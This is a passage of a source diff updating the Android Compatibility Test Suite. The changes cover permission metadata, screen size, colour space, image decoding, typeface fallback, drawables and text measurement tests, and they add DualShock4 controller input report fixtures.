-        permissionName = "android.permission.SEND_SMS";
+        permissionName = "android.permission.RECORD_AUDIO";
         permissionInfo = mPackageManager.getPermissionInfo(permissionName, 0);
         assertEquals(permissionName, permissionInfo.name);
         assertEquals(PermissionInfo.PROTECTION_DANGEROUS, permissionInfo.getProtection());
-        assertEquals("android.permission-group.SMS", permissionInfo.group);
+        assertNotNull(permissionInfo.group);
 
         // Check a signature permission.
         permissionName = "android.permission.MODIFY_PHONE_STATE";
diff --git a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
index 569b3501..7ac5246 100644
--- a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
+++ b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
@@ -24,6 +24,7 @@
 import android.view.Display;
 import android.view.WindowManager;
 
+import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.FeatureUtil;
 
 import java.util.HashSet;
@@ -34,16 +35,22 @@
  */
 public class ConfigurationTest extends AndroidTestCase {
 
-    @Presubmit
-    public void testScreenConfiguration() {
+    private DisplayMetrics mMetrics;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
         WindowManager windowManager =
                 (WindowManager) getContext().getSystemService(Context.WINDOW_SERVICE);
         Display display = windowManager.getDefaultDisplay();
-        DisplayMetrics metrics = new DisplayMetrics();
-        display.getMetrics(metrics);
+        mMetrics = new DisplayMetrics();
+        display.getMetrics(mMetrics);
+    }
 
-        double xInches = (double) metrics.widthPixels / metrics.xdpi;
-        double yInches = (double) metrics.heightPixels / metrics.ydpi;
+    @Presubmit
+    public void testScreenConfiguration() {
+        double xInches = (double) mMetrics.widthPixels / mMetrics.xdpi;
+        double yInches = (double) mMetrics.heightPixels / mMetrics.ydpi;
         double diagonalInches = Math.sqrt(Math.pow(xInches, 2) + Math.pow(yInches, 2));
         double minSize = 2.5d;
         if (FeatureUtil.isWatch()) {
@@ -56,7 +63,7 @@
         assertTrue("Screen diagonal must be at least " + minSize + " inches: " + diagonalInches,
                 diagonalInches >= minSize);
 
-        double density = 160.0d * metrics.density;
+        double density = 160.0d * mMetrics.density;
         assertTrue("Screen density must be at least 100 dpi: " + density, density >= 100.0d);
 
         Set<Integer> allowedDensities = new HashSet<Integer>();
@@ -77,10 +84,22 @@
         allowedDensities.add(DisplayMetrics.DENSITY_560);
         allowedDensities.add(DisplayMetrics.DENSITY_XXXHIGH);
         assertTrue("DisplayMetrics#densityDpi must be one of the DisplayMetrics.DENSITY_* values: "
-                + allowedDensities, allowedDensities.contains(metrics.densityDpi));
+                + allowedDensities, allowedDensities.contains(mMetrics.densityDpi));
 
-        assertEquals(metrics.density,
-                (float) metrics.densityDpi / DisplayMetrics.DENSITY_DEFAULT,
+        assertEquals(mMetrics.density,
+                (float) mMetrics.densityDpi / DisplayMetrics.DENSITY_DEFAULT,
                 0.5f / DisplayMetrics.DENSITY_DEFAULT);
     }
+
+    @CddTest(requirement="2.5.1")
+    public void testAutomotiveMinimumScreenSize() {
+        if (!FeatureUtil.isAutomotive()) {
+            return;
+        }
+        float dpHeight = mMetrics.heightPixels / mMetrics.density;
+        float dpWidth = mMetrics.widthPixels / mMetrics.density;
+
+        assertTrue("Height must be >= 480dp, found: " + dpHeight, dpHeight >= 480);
+        assertTrue("Width must be >= 750dp, found: " + dpWidth, dpWidth >= 750);
+    }
 }
diff --git a/tests/tests/graphics/jni/android_graphics_cts_BasicVulkanGpuTest.cpp b/tests/tests/graphics/jni/android_graphics_cts_BasicVulkanGpuTest.cpp
index c9ed883..6c90941 100644
--- a/tests/tests/graphics/jni/android_graphics_cts_BasicVulkanGpuTest.cpp
+++ b/tests/tests/graphics/jni/android_graphics_cts_BasicVulkanGpuTest.cpp
@@ -75,9 +75,6 @@
     // Could not initialize Vulkan due to lack of device support, skip test.
     return;
   }
-  VkImageRenderer renderer(&init, kTestImageWidth, kTestImageHeight,
-                           formatDesc.vkFormat, formatDesc.pixelWidth);
-  ASSERT(renderer.init(env, assetMgr), "Unable to initialize VkRenderer.");
 
   // Create and initialize buffer based on parameters.
   AHardwareBuffer_Desc hwbDesc{
@@ -96,6 +93,10 @@
     return;
   }
 
+  VkImageRenderer renderer(&init, kTestImageWidth, kTestImageHeight,
+                           formatDesc.vkFormat, formatDesc.pixelWidth);
+  ASSERT(renderer.init(env, assetMgr), "Unable to initialize VkRenderer.");
+
   // Populate the buffer with well-defined data.
   AHardwareBuffer_describe(buffer, &hwbDesc);
   uint8_t *bufferAddr;
diff --git a/tests/tests/graphics/res/drawable/gradientdrawable_mix_theme.xml b/tests/tests/graphics/res/drawable/gradientdrawable_mix_theme.xml
new file mode 100644
index 0000000..63bd5dd
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/gradientdrawable_mix_theme.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="utf-8"?>
+<shape
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:shape="rectangle">
+    <gradient
+        android:angle="270"
+        android:centerColor="@color/colorPrimary"
+        android:endColor="?attr/colorPrimaryDark"/>
+</shape>
\ No newline at end of file
diff --git a/tests/tests/graphics/res/values/colors.xml b/tests/tests/graphics/res/values/colors.xml
index f3cc325..64f1589 100644
--- a/tests/tests/graphics/res/values/colors.xml
+++ b/tests/tests/graphics/res/values/colors.xml
@@ -23,4 +23,7 @@
     <color name="testcolor1">#ff00ff00</color>
     <color name="testcolor2">#ffff0000</color>
     <color name="failColor">#ff0000ff</color>
+    <color name="colorPrimary">#008577</color>
+    <color name="colorPrimaryDark">#00574B</color>
+    <color name="colorAccent">#D81B60</color>
 </resources>
diff --git a/tests/tests/graphics/res/values/styles.xml b/tests/tests/graphics/res/values/styles.xml
index 95c9169..eca9589 100644
--- a/tests/tests/graphics/res/values/styles.xml
+++ b/tests/tests/graphics/res/values/styles.xml
@@ -167,6 +167,17 @@
         <item name="themeVectorDrawableFillColor">#F00F</item>
     </style>
 
+    <attr name="colorPrimary" format="reference|color" />
+    <attr name="colorPrimaryDark" format="reference|color" />
+    <attr name="colorAccent" format="reference|color" />
+
+    <style name="Theme_MixedGradientTheme">
+        <!-- Customize your theme here. -->
+        <item name="colorPrimary">@color/colorPrimary</item>
+        <item name="colorPrimaryDark">@color/colorPrimaryDark</item>
+        <item name="colorAccent">@color/colorAccent</item>
+    </style>
+
     <style name="WhiteBackgroundNoWindowAnimation"
            parent="@android:style/Theme.Holo.NoActionBar.Fullscreen">
         <item name="android:windowNoTitle">true</item>
diff --git a/tests/tests/graphics/src/android/graphics/cts/ColorSpaceTest.java b/tests/tests/graphics/src/android/graphics/cts/ColorSpaceTest.java
index b535edb..01ba9e5 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ColorSpaceTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ColorSpaceTest.java
@@ -22,6 +22,8 @@
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import org.junit.Rule;
+import org.junit.rules.ExpectedException;
 
 import android.graphics.ColorSpace;
 import android.support.test.filters.SmallTest;
@@ -69,6 +71,9 @@
 
     private static final DoubleUnaryOperator sIdentity = DoubleUnaryOperator.identity();
 
+    @Rule
+    public ExpectedException mExpectedException = ExpectedException.none();
+
     @Test
     public void testNamedColorSpaces() {
         for (ColorSpace.Named named : ColorSpace.Named.values()) {
@@ -610,6 +615,31 @@
     }
 
     @Test
+    public void testSinglePointAdaptation() {
+        float[] illumD65xyY = Arrays.copyOf(ColorSpace.ILLUMINANT_D65,
+                ColorSpace.ILLUMINANT_D65.length);
+        float[] illumD50xyY = Arrays.copyOf(ColorSpace.ILLUMINANT_D50,
+                ColorSpace.ILLUMINANT_D50.length);
+
+        final float[] catXyz = ColorSpace.chromaticAdaptation(ColorSpace.Adaptation.BRADFORD,
+                illumD65xyY, illumD50xyY);
+
+        // Ensure the original arguments were not modified
+        assertArrayEquals(illumD65xyY, ColorSpace.ILLUMINANT_D65, 0);
+        assertArrayEquals(illumD50xyY, ColorSpace.ILLUMINANT_D50, 0);
+
+        // Verify results. This reference data has been cross-checked with
+        // http://www.brucelindbloom.com/index.html?Eqn_ChromAdapt.html
+        final float[] illumD65ToIllumD50Xyz = {
+             1.0478525f,  0.0295722f, -0.0092367f,
+             0.0229074f,  0.9904668f,  0.0150463f,
+            -0.0501464f, -0.0170567f,  0.7520621f
+        };
+
+        assertArrayEquals(catXyz, illumD65ToIllumD50Xyz, 1e-7f);
+    }
+
+    @Test
     public void testImplicitSRGBConnector() {
         ColorSpace.Connector connector1 = ColorSpace.connect(
                 ColorSpace.get(ColorSpace.Named.DCI_P3));
@@ -783,6 +813,19 @@
                         1 / 1.055, 0.055 / 1.055, 1 / 12.92, 0.04045, 2.4)));
     }
 
+    @Test
+    public void testCctToIlluminantdXyz() {
+        assertArrayEquals(ColorSpace.cctToIlluminantdXyz(5000),
+                xyYToXyz(ColorSpace.ILLUMINANT_D50), 0.01f);
+        assertArrayEquals(ColorSpace.cctToIlluminantdXyz(7500),
+                xyYToXyz(ColorSpace.ILLUMINANT_D75), 0.01f);
+    }
+
+    @Test
+    public void testCctToIlluminantdXyzErrors() {
+        mExpectedException.expect(IllegalArgumentException.class);
+        ColorSpace.cctToIlluminantdXyz(0);
+    }
 
     @SuppressWarnings("SameParameterValue")
     private static void assertArrayNotEquals(float[] a, float[] b, float eps) {
@@ -800,4 +843,12 @@
             }
         }
     }
+
+    /**
+     * Convenience function copied from android.graphics.ColorSpace
+     */
+    private static float[] xyYToXyz(float[] xyY) {
+        return new float[] { xyY[0] / xyY[1], 1.0f, (1 - xyY[0] - xyY[1]) / xyY[1] };
+    }
+
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
index 8c67045..0cbf5d4 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
@@ -1734,15 +1734,10 @@
                         }
                     }
                 } else {
-                    // Not decoding to HARDWARE, but |normal| was. Again, if f16
-                    // was decoded to 8888, which we can detect by looking at the color
-                    // space, no savings are possible.
-                    if (resId == R.raw.f16 && !normal.getColorSpace().equals(
-                                ColorSpace.get(ColorSpace.Named.LINEAR_EXTENDED_SRGB))) {
-                        assertEquals(normalByteCount, byteCount);
-                    } else {
-                        assertTrue(byteCount < normalByteCount);
-                    }
+                    // Not decoding to HARDWARE, but |normal| was. As such this should always
+                    // succeed in being smaller, as software will decode to 565 in this case.
+                    // This will always be less than whatever HARDWARE supports.
+                    assertTrue(byteCount < normalByteCount);
                 }
             }
         }
diff --git a/tests/tests/graphics/src/android/graphics/cts/TypefaceCustomFallbackBuilderTest.java b/tests/tests/graphics/src/android/graphics/cts/TypefaceCustomFallbackBuilderTest.java
index 6e34af0..43d7e7e 100644
--- a/tests/tests/graphics/src/android/graphics/cts/TypefaceCustomFallbackBuilderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/TypefaceCustomFallbackBuilderTest.java
@@ -17,6 +17,8 @@
 package android.graphics.cts;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
 
 import android.content.res.AssetManager;
 import android.graphics.Typeface;
@@ -193,15 +195,39 @@
         assertEquals(20.0f, paint.measureText("\u05D0", 0, 1), 0.0f);  // Hebrew letter
     }
 
-    @Test(expected = IllegalArgumentException.class)
+    @Test
     public void testMaxCustomFallback() throws IOException {
         final AssetManager am = InstrumentationRegistry.getTargetContext().getAssets();
         final Font font = new Font.Builder(am, "fonts/user_fallback/ascii.ttf").build();
         final Typeface.CustomFallbackBuilder b = new Typeface.CustomFallbackBuilder(
                 new FontFamily.Builder(font).build());
-        for (int i = 0; i < 64; ++i) {
+        // Start from 1 since the first font family is already passed to the constructor.
+        for (int i = 1; i < Typeface.CustomFallbackBuilder.getMaxCustomFallbackCount(); ++i) {
             b.addCustomFallback(new FontFamily.Builder(font).build());
         }
+        assertNotNull(b.build());
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testMaxCustomFallback_exceed_limits() throws IOException {
+        final AssetManager am = InstrumentationRegistry.getTargetContext().getAssets();
+        final Font font = new Font.Builder(am, "fonts/user_fallback/ascii.ttf").build();
+        final Typeface.CustomFallbackBuilder b = new Typeface.CustomFallbackBuilder(
+                new FontFamily.Builder(font).build());
+        // Start from 1 since the first font family is already passed to the constructor.
+        for (int i = 1; i < Typeface.CustomFallbackBuilder.getMaxCustomFallbackCount() + 1; ++i) {
+            b.addCustomFallback(new FontFamily.Builder(font).build());
+        }
+    }
+
+    @Test
+    public void testMaxCustomFallbackAtLeast64() throws IOException {
+        assertTrue(Typeface.CustomFallbackBuilder.getMaxCustomFallbackCount() >= 64);
+    }
+
+    @Test
+    public void testMaxCustomFallback_must_be_positive() {
+        assertTrue(Typeface.CustomFallbackBuilder.getMaxCustomFallbackCount() > 0);
     }
 
     @Test
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
index 3780124..1c1cebf5 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
@@ -271,7 +271,7 @@
         cb.assertStarted(true);
 
         // Extra time, to wait for the message to post.
-        cb.waitForEnd(DURATION * 3);
+        cb.waitForEnd(DURATION * 20);
         cb.assertEnded(true);
         assertFalse(drawable.isRunning());
     }
@@ -335,7 +335,7 @@
 
         // Add extra duration to wait for the message posted by the end of the
         // animation. This should help fix flakiness.
-        cb.waitForEnd(DURATION * 3);
+        cb.waitForEnd(DURATION * 10);
         cb.assertEnded(true);
     }
 
@@ -386,7 +386,7 @@
             cb.waitForEnd(DURATION * repeatCount);
             cb.assertEnded(false);
 
-            cb.waitForEnd(DURATION * 2);
+            cb.waitForEnd(DURATION * 20);
             cb.assertEnded(true);
 
             drawable.setRepeatCount(AnimatedImageDrawable.REPEAT_INFINITE);
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableTestUtils.java b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableTestUtils.java
index d518668..570243c 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableTestUtils.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableTestUtils.java
@@ -24,13 +24,14 @@
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.drawable.Drawable;
-import androidx.annotation.IntegerRes;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
 import android.util.AttributeSet;
 import android.util.Log;
 import android.util.Xml;
 
+import androidx.annotation.IntegerRes;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
 import junit.framework.Assert;
 
 import org.xmlpull.v1.XmlPullParser;
@@ -173,11 +174,21 @@
                 int givenColor = actual.getPixel(x, y);
                 if (idealColor == givenColor)
                     continue;
+                if (Color.alpha(idealColor) + Color.alpha(givenColor) == 0) {
+                    continue;
+                }
 
+                float idealAlpha = Color.alpha(idealColor) / 255.0f;
+                float givenAlpha = Color.alpha(givenColor) / 255.0f;
+
+                // compare premultiplied color values
                 float totalError = 0;
-                totalError += Math.abs(Color.red(idealColor) - Color.red(givenColor));
-                totalError += Math.abs(Color.green(idealColor) - Color.green(givenColor));
-                totalError += Math.abs(Color.blue(idealColor) - Color.blue(givenColor));
+                totalError += Math.abs((idealAlpha * Color.red(idealColor))
+                                     - (givenAlpha * Color.red(givenColor)));
+                totalError += Math.abs((idealAlpha * Color.green(idealColor))
+                                     - (givenAlpha * Color.green(givenColor)));
+                totalError += Math.abs((idealAlpha * Color.blue(idealColor))
+                                     - (givenAlpha * Color.blue(givenColor)));
                 totalError += Math.abs(Color.alpha(idealColor) - Color.alpha(givenColor));
 
                 if ((totalError / 1024.0f) >= pixelThreshold) {
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java
index bf91296..ed3a54a 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java
@@ -23,10 +23,12 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
+import android.content.Context;
 import android.content.res.ColorStateList;
 import android.content.res.Resources;
 import android.content.res.Resources.Theme;
 import android.content.res.XmlResourceParser;
+import android.graphics.Bitmap;
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.ColorFilter;
@@ -565,6 +567,28 @@
         assertEquals(Insets.of(1, 2, 3, 4), drawable.getOpticalInsets());
     }
 
+    @Test
+    public void testInflationWithThemeAndNonThemeResources() {
+        final Context context = InstrumentationRegistry.getTargetContext();
+        final Theme theme = context.getResources().newTheme();
+        theme.applyStyle(R.style.Theme_MixedGradientTheme, true);
+        final Theme ctxTheme = context.getTheme();
+        ctxTheme.setTo(theme);
+
+        GradientDrawable drawable = (GradientDrawable)
+                ctxTheme.getDrawable(R.drawable.gradientdrawable_mix_theme);
+
+        Bitmap bitmap = Bitmap.createBitmap(10, 10, Bitmap.Config.ARGB_8888);
+        Canvas canvas = new Canvas(bitmap);
+        drawable.setBounds(0, 0, 10, 10);
+        drawable.draw(canvas);
+        int[] colors = drawable.getColors();
+        assertEquals(3, colors.length);
+        assertEquals(0, colors[0]);
+        assertEquals(context.getColor(R.color.colorPrimary), colors[1]);
+        assertEquals(context.getColor(R.color.colorPrimaryDark), colors[2]);
+    }
+
     private void verifyPreloadDensityInner(Resources res, int densityDpi)
             throws XmlPullParserException, IOException {
         final Rect tempPadding = new Rect();
diff --git a/tests/tests/graphics/src/android/graphics/text/cts/MeasuredTextTest.java b/tests/tests/graphics/src/android/graphics/text/cts/MeasuredTextTest.java
index b030698..6c4b312 100644
--- a/tests/tests/graphics/src/android/graphics/text/cts/MeasuredTextTest.java
+++ b/tests/tests/graphics/src/android/graphics/text/cts/MeasuredTextTest.java
@@ -17,6 +17,7 @@
 package android.graphics.text.cts;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
 
 import android.content.Context;
 import android.content.res.AssetManager;
@@ -54,9 +55,44 @@
                 .appendStyleRun(sPaint, text.length(), false /* isRtl */).build();
     }
 
+    @Test
+    public void testBuilder_FromExistingMeasuredText() {
+        String text = "Hello, World";
+        final MeasuredText mt = new MeasuredText.Builder(text.toCharArray())
+                .appendStyleRun(sPaint, text.length(), false /* isRtl */).build();
+        assertNotNull(new MeasuredText.Builder(mt)
+                .appendStyleRun(sPaint, text.length(), true /* isRtl */).build());
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testBuilder_FromExistingMeasuredText_differentLayoutParam() {
+        String text = "Hello, World";
+        final MeasuredText mt = new MeasuredText.Builder(text.toCharArray())
+                .setComputeLayout(false)
+                .appendStyleRun(sPaint, text.length(), false /* isRtl */).build();
+        new MeasuredText.Builder(mt)
+                .appendStyleRun(sPaint, text.length(), true /* isRtl */).build();
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testBuilder_FromExistingMeasuredText_differentHyphenationParam() {
+        String text = "Hello, World";
+        final MeasuredText mt = new MeasuredText.Builder(text.toCharArray())
+                .setComputeHyphenation(false)
+                .appendStyleRun(sPaint, text.length(), false /* isRtl */).build();
+        new MeasuredText.Builder(mt)
+                .setComputeHyphenation(true)
+                .appendStyleRun(sPaint, text.length(), true /* isRtl */).build();
+    }
+
     @Test(expected = NullPointerException.class)
     public void testBuilder_NullText() {
-        new MeasuredText.Builder(null);
+        new MeasuredText.Builder((char[]) null);
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testBuilder_NullMeasuredText() {
+        new MeasuredText.Builder((MeasuredText) null);
     }
 
     @Test(expected = NullPointerException.class)
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_keyeventtests.json b/tests/tests/hardware/res/raw/sony_dualshock4_keyeventtests.json
index ab69dd3..4271249 100644
--- a/tests/tests/hardware/res/raw/sony_dualshock4_keyeventtests.json
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_keyeventtests.json
@@ -2,8 +2,18 @@
   {
     "name": "Press BUTTON_A",
     "reports": [
-      [0x01, 0x81, 0x7f, 0x7e, 0x80, 0x28, 0x00, 0x00, 0x00, 0x00],
-      [0x01, 0x81, 0x7f, 0x7e, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00]
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x28, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42,
+      0xf4, 0xd7, 0xf4],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
     ],
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_A"},
@@ -12,14 +22,267 @@
   },
 
   {
+    "name": "Press BUTTON_B",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x48, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6e,
+      0x8a, 0xfe, 0xd4],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_B"},
+      {"action": "UP", "keycode": "BUTTON_B"}
+    ]
+  },
+
+  {
     "name": "Press BUTTON_X",
     "reports": [
-      [0x01, 0x81, 0x7f, 0x7e, 0x80, 0x18, 0x00, 0x00, 0x00, 0x00],
-      [0x01, 0x81, 0x7f, 0x7e, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00]
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x18, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54,
+      0x4b, 0xc3, 0xe4],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
     ],
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_X"},
       {"action": "UP", "keycode": "BUTTON_X"}
     ]
+  },
+
+  {
+    "name": "Press BUTTON_Y",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x88, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x36,
+      0x76, 0xac, 0x94],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_Y"},
+      {"action": "UP", "keycode": "BUTTON_Y"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L1",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x01, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86,
+      0x8e, 0x09, 0x14],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
